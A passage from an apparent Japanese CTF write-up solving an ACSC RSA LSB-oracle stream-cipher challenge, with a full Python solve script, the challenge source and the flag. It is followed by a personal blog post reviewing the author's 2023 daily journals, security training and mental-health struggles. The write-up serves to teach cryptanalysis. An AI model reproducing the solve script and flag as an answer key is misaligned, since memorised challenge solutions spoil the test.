L20 bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2) では 「bi bit 目 」と 「pow(c, d, n) の最下位 bit」との XOR を取っている。
その直後 L21 にて key stream cpow(2, e, n) * c % n で更新されている。ここはポイントになりそうだ。

もう少し丁寧に考える。
L20 pow(c, d, n)m であるため、((b >> i) & 1) ^ (m % 2) より変数 bitm の最下位ビットの情報を知ることができる。
L21 pow(2, e, n) * c % nRSA の準同型性より、以下のように pow(2 *m, e, n) と変形可能なので、復号した結果の 2*m (mod n) の最下位ビット、つまり m の偶奇を知ることができる。

 c = m^{e} \ (\mod n) \\
c * (2^{e}) = m^{e} * (2^{e}) \ (\mod n) \\
m^{e} * (2^{e}) = (2*m)^{e} \ (\mod n)

したがって、

 (2^{e}) * c = (2*m)^e (\mod n)

が成立する。

n は奇数、また 2*m < 2*n より、
2*m (mod n) が偶数であれば 2*m <= n , 奇数であれば 2*m > n となる。
これは mod n の世界で考えているため、2倍して n を超えた時に奇数になる可能性があるためである。

この性質を利用することで、
偶数であれば 0 <= m <= 2/n
奇数であれば 2/n < m < n
m の範囲を絞ることができる。

この二分探索の操作を繰り返すことで m を復元可能になる。

これまでの話をまとめると、この問題は LSB オラクルとして振舞うため、m を再構築したうえで暗号化処理フローの逆を辿ることで復号ができそうだ。

from fractions import Fraction

# Given values
n: int = 106362501554841064194577568116396970220283331737204934476094342453631371019436358690202478515939055516494154100515877207971106228571414627683384402398675083671402934728618597363851077199115947762311354572964575991772382483212319128505930401921511379458337207325937798266018097816644148971496405740419848020747
e: int = 65537

with open("chal_redacted.py", "rb") as f:
    plain_text: bytes = f.read()

with open("chal.py.enc", "rb") as f:
    cipher_text: bytes = f.read()

bits: list[int] = []
plain_bits: list[int] = []
cipher_bits: list[int] = []

for plain_bit in plain_text:
    for i in range(8):
        plain_bits.append((plain_bit >> i) & 1)

for cipher_bit in cipher_text:
    for i in range(8):
        cipher_bits.append((cipher_bit >> i) & 1)

# Calculate the XOR of the plaintext and ciphertext bits
for i in range(len(plain_bits)):
    bits.append(plain_bits[i] ^ cipher_bits[i])

bits = bits[1:]

# Binary search to find the value of m
left = Fraction(0)
right = Fraction(n)

for i in range(len(bits)):
    middle = (left + right) / Fraction(2)
    if bits[i] == 0:
        right = middle
    else:
        left = middle

m: int = round(right)
print(f"{m=}")

# Decrypt the ciphertext using the calculated m
decrypted_text: list[int] = []
for b in cipher_text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (m % 2)
        m = (m * 2) % n
        o |= bit << i
    decrypted_text.append(o)

# Print the decrypted plaintext
print(bytes(decrypted_text).decode("utf-8"))

上記のコードを実行することで元のソースコードが復元できる。 なお、小数点の切り捨て誤差を無くすために、fractions モジュールを利用して有理数計算を行っている。

m=105507372927051948805576931127617234388271424225133622890937140386993850840162894266093638058537032250348290776533140408439449316584989419619021206055123435007220387282181718562182584142410220220213116104633657881011851209081980740275983356817964550820718090983066924630733151959181612233123093492463207706540
from Crypto.Util.number import getPrime
import random
import re


p = getPrime(512)
q = getPrime(512)
e = 65537
n = p * q
d = pow(e, -1, (p - 1) * (q - 1))

m = random.randrange(2, n)
c = pow(m, e, n)

text = open(__file__, "rb").read()
ciphertext = []
for b in text:
    o = 0
    for i in range(8):
        bit = ((b >> i) & 1) ^ (pow(c, d, n) % 2)
        c = pow(2, e, n) * c % n
        o |= bit << i
    ciphertext.append(o)


open("chal.py.enc", "wb").write(bytes(ciphertext))
redacted = re.sub("flag = \"ACSC{(.*)}\"", "flag = \"ACSC{*REDACTED*}\"", text.decode())
open("chal_redacted.py", "w").write(redacted)
print("n =", n)

# flag = "ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}"
ACSC{RSA_is_not_for_the_stream_cipher_bau_bau}

2023_月週日時分報と習慣化

こんにちは、ふたばとです。

昨年から毎日、日報を書いて投稿しています。2023年は毎日途切れることなくコンスタントに続けて来れました。 その日あったこと、その日感じたことをただ書いているに過ぎないですが、自分がやってきた事実を足跡として残せるようにしています。

僕は些細なことで簡単に自信を無くしてしまうマンなので、ちゃんとやってきたんだぞということを残さないと、すぐ自己否定に走ってしまいます。 誰かに「君は頑張っている」と言われてもどうも信じられなくて、お世辞を言われているような気分になるので、自分の中でちゃんとやったという結果を残すようにしています。

日報のフォーマットは、現在以下のカタチで収まっています。

# 日付

## やったこと

## 研究

## 日記

## 今日の誇ること

やったこと以外に日記の欄を設けているのは、人は(主語デカ)文章を書いたときか、人に話したときしか考えは深まらないと考えているからです。それっぽいことを頭の中で考えていても、数分も経てばすぐに頭から消え去ってしまいます。だからその時書きたい口調で、その時書きたい文体で統一感をあまり意識せず書いています。でもなんとなく、僕の気づけない僕らしさがいろいろ滲み出ている気はしています。 日々生きていく中で毎日がハッピーであるということはまったくなく、辛いしんどい日々は平気で訪れます。そういった中でも希望を拾い上げてキラキラとした日記を書く、というのはあまりしていません。ありのまま感じたことを表現し続けています。僕の内面に触れる話もよく登場しています。正直裸を見られるような感じで、読まれるのに恥ずかしさがあります。もちろん、ネガティブな話題を見せられて嬉しい人なんて少ないだろうけど、着飾っても仕方ない気がするし、何より、自分に嘘をついているような気になる。生々しいからこそ、それに批判を受けるとうんと落ち込むので、インターネットの海に流すのではなく、クローズドなコミュニティに日報を投稿するようにしています。

年末になって、2023年の振り返りをしている人が多くいました。

自分は昨年まで振り返り記事を出すことはしていなかったものの、今年は日報を続けて来れたので日報を振り返ってみてもいいかなと思いました。 しかし自分の弱さをインターネットにさらけ出すことに少なからず抵抗はあります。でも、やってみなきゃわからないなという気分でもあるので、その気分が変わってしまわない間に書いて、投稿します。

刺されるようなコメントが来ると泣いてしまいますが、お褒めの言葉などあればコソコソっと連絡をくれるととても嬉しいです。

日報の日記部分を抜粋して考えに変化があればコメントする形で、2023年を振り返っていきます。


2023年1月15日(日)

研究駆動のアシスタントお二人とお話ししました。いつも温かいアドバイスいただけてありがたいです。火曜日のコースワークまでになんとかしないと…。あ~~~

2022年12月にあった MBSD Cybersecurity Challenges 2023 では優勝することができた。この瞬間は本当に最高で、優勝した直後はなんでもできそうな気がしていた。

01futabato10.hateblo.jp

このままの勢いで謙虚に手を伸ばし続けたいと誓った1ヶ月後には地獄を見ていた。

2023年1月17日(火)

成果発表前最後のコースワークが終わっちゃった。6月からあっという間でした。こんなこと言っても仕方ないんだけどほかのことで忙しくしすぎたなぁと感じている。毎回進捗を産めていたらトレーナー・アシスタントの方々はフィードバックがしやすかっただろうなぁと思うと申し訳なくなる…。コンテストに出場せずにSecHackに集中していたら…と思ってしまうけど、それを覚悟してコンテストに臨んだはずなんだから黙って頑張ります。

何もかもダメで、とにかくしんどかった。メンタルが弱っていたので、手を動かそうにも余計な事考えてしまってなかなか手を動かせずにいた。 毎日「カス」と口にして、タスクと感情が溢れてしまっていた。

卒業研究はチームで取り組むものだったのでちゃんと学校には行っていたけどかなり真顔だったかもしれない。 裏ではずっと頭痛とめまいと吐き気が止まらなかった。

2023年1月22日(日)

カス

SecHack の内部の発表会の動画を提出した。

動画を提出して審査を受けることが修了要件の一つであるため、とりあえず提出したものの、誰にも見て欲しくないような動画を提出した。 この数週間は特に迷走してしまって、誰かにうまく相談することもできず、結果的に最悪のカタチになってしまったので申し訳なさと不甲斐なさでとにかくいっぱいだった。

2023年1月23日

2023年1月25日(月)

最近毎日あった頭痛とめまいと吐き気が午後には消えてくれたので少し落ち着いてきたと思う。いつまでも自信もない臆病な人間だけど、自分を信じて頑張れるようになりたい。

トレーナーが声をかけてくれて、慰めてくれた。

もしここで声をかけてくれなかったら、今の自分は無かっただろうなと思う。 それくらい自分にとって大きな出来事だった。あの瞬間何かが解決したというわけではないけど、幾分か救われたような気がして、歩むことを止めたいとしか思っていなかった考えから少しだけ抜け出せた。 いつまで経っても自信を持てない自分を変える機会にできるように頑張りたいと思えるようになった。

2023年1月29日(日)

傲慢は自分を下げるが、卑下はコミュニティ全体を下げる。度を超える卑下は謙虚というものではなくなり、自分に対して発言しているつもりが自分のことを応援してくれている人をも傷つけてしまう。

SecHack のオフラインイベントで、トレーニー全員の成果発表をみた。 数日前に労ってもらってかなり落ち着いたものの、正直イベント会場には行きたくなくて、会場に向かっている電車の中もずっと帰ろうかなと考えていた。 みんなの成果物はどれも本当に素敵に見える。今日に至るまでいろんな困難なことがあったはずなのに、それらを乗り越えて最後までやりきったその根性に嫉妬していた。

自分が卑下をしてしまうことについて、じっくりと説いてくれた。 当時は心が荒んでいたので受けたアドバイスを 100 %呑み込めていなかった、いや実際ほとんど受け入れられていなかったが、今でも時々この当時のメモを見返して少しずつ咀嚼している。

イベントデイを期に、卑下しないことの訓練を始めるようになる。 2023年12月の自分は、自分が今までやってきたことすべてが無駄で無価値なものに感じてしまうのは物悲しいことだよなと思えるようになってきた。

2023年2月14日(火)

最近、SecHackのことになると途端に頭が回らなくなってどうしようどうしようという気持ちになって、考えているふうで考えていないようになってしまっている。手が止まって悪い方にばっか考えちゃう。明日はちょっとだけポジティブに生きてみようかな

2023年2月15日(水)

卒業するのに必要な課題の最終版を提出した。過去の焼き増しで生きずにきちんとやりきったのは偉いことです。

2023年2月16日(木)

ポスターのシナリオはそんな感じでよさそうと言ってもらえました。最後なんだから後悔のないように、自信も持って。

少しずつ、自分のやったことに対して肯定をし始めるようになる。 この頃はまだまだ文字として無理やり書いているだけで、内心は偉いだなんて全く思っていない。

2023年2月20日(月)

4年後期の成績が発表されて、4年間成績オールAを達成した :tada: サークルのほとんどの人は如何に学校をさぼって独学に時間を充てるかみたいなムーブをしていて、授業や課題や試験のレベルの低さから真面目にやることに馬鹿らしさを感じる機会が何度もあったけど、ちゃんと学生としてやるべきことを4年間続けてこれたということを自分の中で大事にしていきたいです。

これはとてもいい話。

やるべきことを正しくきちんとやろうとすることを長年モットーにしていた。これができなかった時はものすごく萎えるし、これが4年間継続できた時は2023年2月20日という日は素直に嬉しかった。 これは人によるけど僕はこれまで何にも成し遂げたことが無いような人間だったのもあって、真面目にやるべきことを正しくきちんとやろうとすることが僕の中で大事なことだった。

4年間お世話になった横浜の街を後にした。

2023年2月20日

2023年2月22日(水)

この1年SecHackで読んできた論文のメモが財産になっている。積み上げてきたものをうまくポスターに反映させたい。表現することをさぼっちゃいけない。

やってきたことの意味というと少し難しいけど、少なくともすべてが無価値であることはなくて、あらゆる体験が今の自分を形作る要素になっているんだなと気づくことができ始めた日だった。

2023年2月24日(金)

ポスター提出できた。第6回イベントデイの時は逃げ出すような感じになってしまったけど、今度は最後までやり遂げられたと思います。成果発表当日までにやっておきたいタスクもできたので、今週はじっくり取り組んで、笑顔で3月4日を迎えられるようにしたいです。

たくさんの人が何度も手を差し伸べてくれたおかげで、最後まで走り切ることができた。 改めてありがとうございました。

ポスター提出日に初めて研究って面白いのかもとなんとなく感じる機会があった。 既存研究のサーベイから得られた課題感からそれを解決するようなアイデアの着想に至るストーリーが、細いけど、自分の中でようやく繋がった気がした。 この体験は普段独学で学んでいるうちには得られないものだった。4月から大学院生になるものとしてとてもよい経験をさせてもらえたと思う。

トレーニー時代に起こったことは何度も咀嚼して、反省を噛み締めながら希望を持って成長していきたい。

2023年3月4日(土)

成果発表会、終始笑顔で終われたと思います。本当によかった。尊敬してやまない yn0014 くんがポスター褒めてくれて嬉しかったです。トレーナー賞でトレーナーから労いの言葉をいただいたときちょっと泣きそうになっちゃった。 この1年で何が得られた?という問いに対して結論を出すのが正直早い気がしていてまだズバリとは言えない状態になっています。たくさん悩んで彷徨っている中でこれまでのSecHack365を振り返ってみると、コースワークの資料や論文を読んだメモや散らばってるソースコードやいただいたフィードバックなどなどあらゆるものが財産となっていることに気づけました。捉え方次第ではありますが、今の自分に必要な挫折だったのかもしれません。

幸せな1年間でした。

2023年3月16日(木)

先の知れた未来を信じたくなくて、背負う業が深すぎると感じていた入学当初から強い覚悟を持ってとにかく足搔き続けた4年間でした。何度も折れながらも卒業まで歩み続けることができたのはIPFactoryという素晴らしいコミュニティに出会えたおかげです。春からは大学院生としてまた一から歩み始めます。

4年間誰が何と言おうとやりきったと自信を持って言えるので、清々しい気持ちで卒業式を迎えられた。

2023年3月16日

2023年4月1日(土)

2023年3月は全ての予定が片付いて、あらゆるストレスから解放された、穏やかな日常を過ごしていました。ストレスの無い生活というのはとても素晴らしく、心の赴くままに技術のキャッチアップをしたり、素材にこだわってじっくりと料理したり、シュッと遠出をしたり、自分勝手に過ごしていました。心に余裕ができたので、日常から喜びを拾い上げることもできるし、心なしか人に優しく接することもできている気がする。でも休むということに強い罪深い意識あるせいで、ポカンと穴が空いてしまったような、充実感からは少し程遠いような、これでいいのかと少し迷いながら過ごしていました。休むことは難しい。4月に入って新年度の予定が入ってくるので、少しずつギアを上げていきます。

3月は気兼ねなくのんびりと過ごせた。次に繋げていく形で終えられたので、4月からまた頑張りたいなと思えていた。 2023年1月25日に救ってもらっていなかったら、直前になって入学するのを躊躇していたと思う。

3月の休暇は見えていた感情の波を穏やかに抑えたに過ぎなく、波をコントロールできているわけではないので前期の間はたびたびの波に苦しむのである。

2023年4月14日(金)

後輩が危機管理コンテストの1次予選を突破していました。入学した時から頑張っている姿をずっと見ていたので、喜ばしい成果に繋がってくれて自分のことのように嬉しく思います。結果を受けて楽しそうに話してくれる声に僕が元気を貰えます。これはもう先輩の特権ですね。ワイも頑張ってよい成果を報告したいなぁ。

2023年4月15日(土)

CTFも競プロも数学も英語もなんもわからんくて萎え続けたカスみたいな一日だった。最近はよく自分の技術力がFAKEなんじゃないかと思うことがよくある。みんなどうやって自分のことを信じようとしているんだろう。何かを否定して話をすり替えないと可哀そうなくらいに自分が小さく思える。

ほらすぐ萎えてる。

2023年4月17日(月)

研究室をキャリーしていかないとなぁという気持ちがある。別に自分はできますよアピールをしたいわけではなくて(本当に)、セキュリティの研究室として彼らのレベルがもっともっと上がって高いレベルの環境にしないと自分自身の成長に天井ができてしまうのかなと思う。もちろん先生方はいるし、修士の成果あるいは就職に関しては自分自身がどれだけやるかにかかっているけれど、結果に辿り着くまでのプロセスを大切にしていくためには学生のレベルを上げることは重要な要素なのかなと思う。こう思うのは、去年学内でたくさん学内講義を開いて自分が得てきた経験や知識を他人に還元した結果として自分の良い方向に帰ってきてくれた気がするからかな。2年間ともに過ごす仲間なんだから、彼らには情報系のオタクとして染まってほしいし、もっともっと自分の知らない専門性の高い技術の話が研究室の会話から聞こえるようになってほしい。そんな話をいろいろ考えてたら研究室のメンバーにばれた。

研究室の同期は情報系出身の人はほとんどいなかったので、レベルを上げていきたいなと思っていた。 だけど自分のタスクで精一杯で、自主ゼミみたいなのは開かなかった。だから僕が彼らに直接与えたものはほとんど無いはずだけど、みんなちゃんと大学に来て研究して、今では僕がほとんどわからないような内容を扱っているし研究の議論も学生同士でするようになって、上から目線極まりないけどとても成長されているのを感じます。

2023年4月18日(火)

好きだと思ったことを続けるのはそう簡単な話でもなかったりする。広い海を見て荒波に飲まれていると、よく自分が好きだと思ったことなのにたくさんの嫌な思いをしたり、これから待ち受けているであろう高すぎる壁に怖くなって簡単なことで自信を失ってしまったりする。何にでもなれる自分と何にもなれない自分との間にいるような気がして、とても苦しい。流れの激しい戦場が嫌ならやめることはできるけど、それはそれで難しい選択だったりする。

2023年4月22日(土)

社会をもっとよりよくしたいと思っても、想っているだけじゃ何も変わらない。一体自分は何をするべきなんだろう。社会に接続された人たちの多様な境遇をもっと理解しなきゃいけない。その人の置かれた環境を改善していくためにトップダウンなアプローチが必要なら社会科学の課題が面倒だなぁなんて言ってられない気がする。自分の努力でできることなんてこんな大きな社会の中では限られてはいるけれど、自分が抱える研究や仕事、自分が生きている環境に対して真摯に向き合い、最善を尽くすことが大切な気がする。

このあたりから社会について少しずつ考え始める。 まだまだ言語化できていない想いがいくつかあるんだけど、自分の進みたい方向を少しずつ探っている。

平気でくさいことを書いていたりします。

2023年5月1日(月)

ゴールデンウイーク何しようかなと考えても積もり積もったタスク群がチラつく。でも実は仕事でも大学院生活上でのやらなきゃいけないことでもないタスクがたくさんあって、それらを抜いたら別に忙しいわけではないはず。そういうタスクはこなせなかったとて誰かに迷惑をかけるわけではないしそういう意味では絶対にやらなくてはいけないタスクではないんだけど、やらないという選択肢を取ることは自分に対する裏切りなんだよなぁ。流れの激しい戦場に立ってその戦場を降りないことを決めている限り、高みを目指して走り続けたいし、もっとたくさんの技術を身に着けていきたい。だからいろんなことを言い訳に簡単に諦めてしまうことはしたくないよね。

2023年5月10日(水)

今日はなんかメンタルが弱っていたので辛いラーメンを食べて汗をかきました。割と心が疲れているので気を抜いたら5月病になってしまいそう。気を付けます。休日はよ~~。

自分の機嫌を取るような行動を始めるようになる。 多くの人はこれができるのかもしれないけど、我慢してやり続けることが美徳なんだみたいな価値観をもってしまっていたので、実は大きな一歩だったりする。

2023年5月10日

2023年5月15日(月)

なんか一週間早すぎて、毎日何かしらやっているのにおれは何をやっていたのだとなりがち。進捗報告した直後に研究をガーっと進められるとよいのだろうけど、なかなかそうはうまくいかない予定になっている。言い訳ばかりの人生は嫌なので、何か改善しないとなぁ。

何かがうまくいかなかったという結果はさておき、それまでのプロセスに甘さがあって、終わった後に後付けで言い訳する自分が大嫌いなんだと思う。

2023年5月19日(金)

今日はダメダメデーでした。最近明らかに疲れてる。昨年は忙しくしすぎたので平穏な大学院生活を送るんだと意気込んでいたはずなのに、気づいたらワンチャン大学院生活の方が大変まである。いやでもプラスαな何かはやっていくべきなので、わかってはいましたが、M1前期は耐えです。

2023年5月19日

2023年5月31日(水)

1週間のピークを終えてとてもぐったりしている。木金は体力勝負です。よそ見したらタスクで飽和してしまうのでできるだけ集中して片づけていきたい。(ちょっと疲れすぎて日記何も思い浮かばない)

精神的に疲弊してくると、日報も余裕がなくなって雑になる。 このころは小ボケがほとんどない。

2023年6月5日(月)

ネクストキャンプに落ちました。ネクストキャンプは雲の上のような存在で、参加できたとしてもついていくの相当キツいだろうなとは思っていました。でも年齢的にラストイヤーなので応募しなかったら後悔してしまうような気がして、参加できるかどうかを決めるのは自分じゃないマインドで応募していました。うーん、悔しいもんは悔しい。忙しい中でも課題を出し切ったので、やらなかった後悔にはさせなかったのは偉いと思い込むようにしているけど割と傷ついている。 そうだ俺は雑魚なんだから調子に乗らずに精進せんかいと囁かれつつ疲れたの感情が残ってる。もうネガティブな感情を原動力に頑張ることは卒業したいんだよなぁ。

2023年6月13日(火)

トレーナー陣に圧倒されちゃった。なんだこの圧倒的な差は?知識、視野、アイデア、洞察力…、あらゆる能力が優れていることを改めて感じた。いやまぁ落ち込む必要は無くて、自分がうまいフィードバックを与えるなんて理想論は捨て去って、この場を楽しもうとすることが大事よね。こんな近い距離で勉強させてもらえる環境でありがたい限りです。かっこいい大人たちだなぁと思いながら話を聞いていた。

2023年度 SecHack365 が始動する。 自分ができる人間だと驕るつもりはなかったけど、トレーナーとの差を改めて実感し、どうすれば自分はトレーニーの役に立つことができるだろう?と考えながら過ごすことになる。

2023年6月17日(土)

今日はSecHackのイベントデイでした。あんまり寝れてない状態で臨んで一日中テンション上げて喋っていたのでとても疲れちゃった。疲れすぎてABCはコンテスト中5秒だけ目を閉じたつもりが40分くらい寝落ちしてた。 希望に満ち溢れたトレーニーに刺激されて自分も頑張ろう〜と思えました。殺伐と他人を蹴落とすことなく、お互いを認め合ってそれでいて競っているこの環境がやはりとても好きです。昨年とは大きく違った視点でSecHackを見ることができているので、このポジションを楽しんでいきたいです。

2023年度は肩の力を抜いてSecHack365に参加させてもらっている。 肩の力が抜けているお陰でこのコミュニティを純粋に楽しめていると思うし、お陰様で習慣化の力はかなりついてきた。

2023年7月6日(木)

Pandas、学び始めたときは全くわからなくて本当に嫌いだったけど、長年付き合って手に馴染むようになっていい道具になりつつある。不必要に苦しんでしまったのはプログラミングの経験がほとんどない時期に入門してしまったからかなぁ。Python以外の言語に手を出して戻ってきてからふとPandasの感覚を掴めた記憶がある。プログラミングを始めて楽しいと思えるまでのハードルが高いと折れてしまいがちですよね。自分はうまく気を紛らわすことができたけど、真正面から突き進んでいたらプログラミング自体もういいやと折れてしまっていた可能性は否めない。 ええと、うまく話が繋がらないんだけど、何が言いたいのかというと”やり方”ってめちゃくちゃ重要ですよね。もっとうまいやり方が無いのだろうか、もっと楽で、もっと効率的で、より成果の出やすいやり方はないのだろうかと考える習慣はめちゃくちゃ重要な気がする。成果が出ている人に共通するのは努力のベクトルの向きが正しい方向を向いていて、大きさが十分であること、それを継続していることだと信じてる。自分の努力の方向性が正しいものなのか、常に疑いながら軌道修正をし続けたいものです。

2023年7月11日(火)

人をマイクロマネジメントするのは意図的にさけているつもりなんだけど計画的に順調にタスクをこなしていく人を見て自分をマイクロマネジメントしていくべきなんだろうかと感じた。興味駆動で目の前に転がってきたものに手を触れて飽きたらやめるみたいな適当な生活をしている。決められたときに決められたことをするのは得意じゃない(講義はペースメーカーになるので別)。不得意だからやっていない、というもあるけど、うーん、自分がどこかでサボりたい楽したい逃げたいという感情があるのは否定できない。嫌な面倒なタスクを後回しに目の前にある面白そうなものに手を出してしまうから、いつも〆切ギリギリになって慌ててやってる。ギリギリになってあわてて作業するのは高校で卒業すべきなんだよな。

タスク管理。単純にTODOリストを用意してTODOを消化する、というのを口で言うことは簡単だけどTODOのこなし方一つとっても抽象的過ぎるタスクだと何をしたらいいのか迷ってしまうし、タスクによって難易度の個体差や興味の個体差がある。 いつ何をやるとパフォーマンスが出るのか、自分をうまくコントロールできるようになりたい。

2023年7月15日(土)

研究駆動のトレーニーが頑張っている姿はいつも見ているので、彼らの発表を聞いてしみじみとしちゃった。これはトレーニーのときには無かった感情なので、アシスタントやらせてもらってありがたいなぁという気持ちになった。まぁでも僕は大した貢献はしていなくて、優秀なトレーニーが着実に努力を積み重ねている姿を間近で見させてもらっているだけだったりする。彼らに関心して見習わないとなぁという感情で溢れてしまう。それでも僕が何かできることってなんだろうと考えて、とにかく優しい人になるぞという気持ちになった。全肯定マシーンふたばとですどうぞよろしく。

2023年7月17日(月)

一日中頭の頭痛が痛くてずーっと寝込んでいたせいで、ここ数か月で一番のポンコツデーになってしまいました(発熱は無いです)。ちょっとよくない波が押し寄せてきてる。前期はあと2週間だけなので、耐えて耐えて気合で生きていきます。

2023年7月18日(火)

耐えるといったが、あれはウソ。無理だった。研究なんもわからんし期末テストもダメダメで、地獄みたいなメンタルだった。感情のコントロールが効かなくなってきたので夕方の講義をさぼって海をぼーっと眺めて帰る日にでもしようかと思ったけど、なんかどうでもよくなって終電チャレンジしてた。やっぱり、怖いんだよな。どうしようもない自分が何もしないということが。信じようとしていないくせに、信じられるものなんか見つからないよなぁ。

さらっと終電チャレンジと書いてあるが、この頃は週2, 3回朝から終電の0時前まで研究室に居続けていた。 今は22:30くらいには切り上げて帰るリズムができてニッコリ。

2023年7月19日(水)

別に溜めて爆発してるわけじゃないけど一生課題に追われてる。期末に向けて一つ一つのレポートが重くなってきた。とりあえず直近のは蹴散らして少し余裕がうまれたように見えるけど、C2Cがあるので1週間前倒しでやる必要があることに気が付いてしまった。 周りの優秀な人を見て、おなじように自分ができないことに嫌気が差していることに気が付いた。落ち込むようなことが起こったときは、たいてい、過去にも似た感情を経験している。しかも複数回。デジャヴなのにもとの調子に戻すのは難しい。去年のコースワークのメモを読み返して寝ます。

このあたりが前期の一番しんどい時期だった。 何かがうまくいかないというよりかはやることが一向に終わらなくて、疲弊しきった感情で過ごしていた。疲れているとすぐネガティブなことを発言してしまうのがわかる。

2023年7月18日

2023年7月20日(木)

今週の僕は人に相談したり人をご飯に誘ったりしています。助けて欲しいサインは出すけど迷惑かなと思っちゃったりしてなかなか自分から言い出すことのできない僕にとって革命的な行動を取っています。さっそく上司が1on1をしてくれました。 「いろいろ悩みがあるが、たいていのことは僕がもっと強くなれば解決することだらけなんよな」とずっと考えていたけど上司に「それはやめた方がいい」とズバッと言われました。伸ばしすぎた理想と現実の僕とのギャップがあるせいでそこに辿り着くことができないと不必要に苦しめてしまうんだよな。”こんなこと”もできないのかと。 性格をアップデートしていくのはなかなか時間のかかる作業です。久しぶりにまぁ全体的にはいい方向には軌道修正できているかと認知できたのはよかった。誰かに認めてもらえるようなことは別に必要ないので、周りの人が手を差し伸べたくなるような人になりたいな。

自分から人に相談することができた。 明らかな疲弊でこれ以上はもうだめとなっていたので、できればもう少し前の予兆段階でそうだんできるようになるといいとは思う。

愚痴を言うのは好きじゃない。誰かの何かを批判することは、巡り巡って自分に向けられる言葉になると考えているので、たとえ自分のストレス発散のためだとしてもなかなか不満をぶつけることができない。まず自分に悪い点があるからなんじゃないかと思ってしまうから人に助けを求めにくい。

2023年7月20日

2023年7月21日(金)

いや~ようやく1週間が終わった。今週は月曜が祝日だったけど残り4日間は全部朝活と終電帰りをやりきってもうヘトヘトのヘトです。よく頑張りました。 今日の放課後はずっと人のために時間を使っていた。人の役に立てるのは割と好き。そこに自分の存在意義を見出せる…とそこまでは思っていないけど、人に優しくすることが自分の心の安寧につながるのは確かなことです。逆に自分の心に余裕が無くてうまく人に接することができなかった時は優しくできない自分にげんなりしちゃう。ChatGPTに人に優しくすることが自分にとって重要ななことなのかなと相談したら、「人に優しくすることは素晴らしい行動ですが、まずは自分自身を大切にし、自分の心の健康を見守ることが、他人に対してもより意味のある優しさを示すことにつながるかもしれません。自分を大切にし、心のバランスを整えることで、他人に対してもより真の優しさを示せることを願っています。」と回答してくれた。大切な誰か、誰かの大切なものを守るためにはまず自分の大切なものを自分でわかっていることが大切なのかなぁ。

2023年7月22日(土)

先日、「いろいろ悩みがあるが、たいていのことは僕がもっと強くなれば解決することだらけなんよな」と考えていたところを上司に「それはやめた方がいい」とズバッと言われてその場では納得したものの、でもそれは技術力があっての話だよなぁと思う。今日某社の会社説明会に参加していたのだけれど、IT未経験なのにエンジニアになれるかな…と思っているが何もしていない人たちだけが集まってDXやろうとしても厳しくないかという感情になった。技術力がないと解決できないことって残念ながらたくさんあるんだよなぁ。技術力がすべてを解決するとまでは思ってないけど自分が強くなることで解決できるようになる問題はたくさんあると信じてる。理想や目標の設定を誤るからしんどくなってしまうのだろうけど、それでもワンマンアーミー的な存在になろうという意識を時折取り戻すことはあってもいいのかなと感じた。

理想を言えば設計も開発も研究もセキュリティもできる人になりたい。ただ目の前の研究や仕事をするだけじゃなくて、ちゃんと趣味開発や自己研鑽の時間を取って自分自身が一兵隊として強くなろうとする姿勢は持ち続けたいと思う。

2023年7月25日(火)

劣等感に苛まれる人生で最も無駄で苦痛な時間を過ごしていた。全身がナメクジになっているのでさっさと寝ます。

メンタルの波が激しい。ひとりでにショックを受けて過呼吸じみた症状が出ていた。 なんでいつまでも劣等感に苛まれなあかんねんと呆れつつ、できるだけ無心でいられるように感情を殺そうとしていた。

2023年7月25日

2023年7月26日(水)

ムリムリカタツムリ言いながら一日過ごしていた。なんかぼーっとしちゃってタスクが全然手につかず時間だけが過ぎていってしまった。”やるだけ”のタスクがどうしてこんなにめんどくさいんだ?周りの活き活きとしている、生粋のエンジニアのような人をみていると自分って何なんだろうなぁと思ってしまう。 日報は寝る直前の頭空っぽな状態で書いているんですが、ちょっと今は負の言葉しか生成されないのでここで止めて寝ます。

マイナスの表現が多い日報なんて読みたくない人が多いだろうにすみませんという感情になっていた。特に現役のトレーニーの前でこんな投稿しない方がいいと思ったので日報を投稿し続けることをやめるか悩んだけど、まぁ誰も見てないかと割り切って投稿し続けた。 気分を害してしまっていたらすみませんでした。

2023年7月28日(金)

金曜日なので頑張れよという感じなのですが水木が限界過ぎたので朝活はサボって午前休にしていました。おかげで終電まで元気でした。 前期の講義がオワ!いや~ようやく15週終えました。自分がいいなと思った講義はいろいろメモが残っていました。大学の先生も結局はオタクなので、専門分野を語らせるととてもキラキラしているように感じました。オタクの話を聞いているのは楽しい。自分も相手に魅力的だと思ってもらえるような話ができるようになりたいな。

たくさん寝たおかげで復活してた。

この頃はずっと信じられる何かを探していた気がする。今その何かが手に入ったのかはわからないけど少なくとも必要以上に気にしなくなった。 自分の研究テーマとか結構ブレてしまってなかなか定まらない中で、これだというものを握りしめたくてたまらなかった。いろいろ考えるがやっぱりセキュリティって面白いよなというお気持ちに何度もなった。楽しくなくてはやる意味がないよね。

2023年8月1日(火)

C2C CTF が始まりました。多様性に富んだたくさんの人が居ました。自分のチームはアメリカ(めっちゃcrazyって言う),イギリス(21歳で修士やってるらしい),シンガポール(超絶優しい,デカい),イスラエル(軍でサイバーセキュリティやって大学入ったとか)の方たちです。day1は5位でした。 みんなコンピュータサイエンスのオタクなので、ThinkPadじゃんとかキーボードいいねとかWindows使ってるんだ~とかのいつもオタクがしてる会話があって微笑ましかったです。パソコンに怪訝な顔をしたりちょっとキレたり、flag取れたらニヤニヤしてたり、オタクは世界共通でした。 しかしまぁ英語でのコミュニケーションはMPを消費します。50%も聞こえないよ~と思ってたら実は30%も聞こえてないことに気づいた。1対1で丁寧に喋ってもらってならギリわかるけどネイティブ同士の会話の中に混じることはできなかった。速すぎてF1かと思った。あと返答も数wordsを紡ぐことしかできなくて申し訳なくなる。英語なんだからcontextを考えずにそのまま喋ったらいいんだろうけどなんか浮かばないんだよな(勉強してないのでそれはそう)。あと秋葉原の説明で There are many otaku in Akihabara. とかいう自分でもわけわかんないこと言った。シンガポールのオタクと推しの子の話をしました。

8月1日~4日は Country-to-Country CTF 2023 の final に参加していた。 英語での交流が本当に初めてだったのでめちゃくちゃ緊張していたけど、楽しかったからか饒舌な日記になっている。

この頃からメンタルがいい時には日記に自然と小ボケを入れたくなるようになる。

2023年8月1日

2023年8月2日(水)

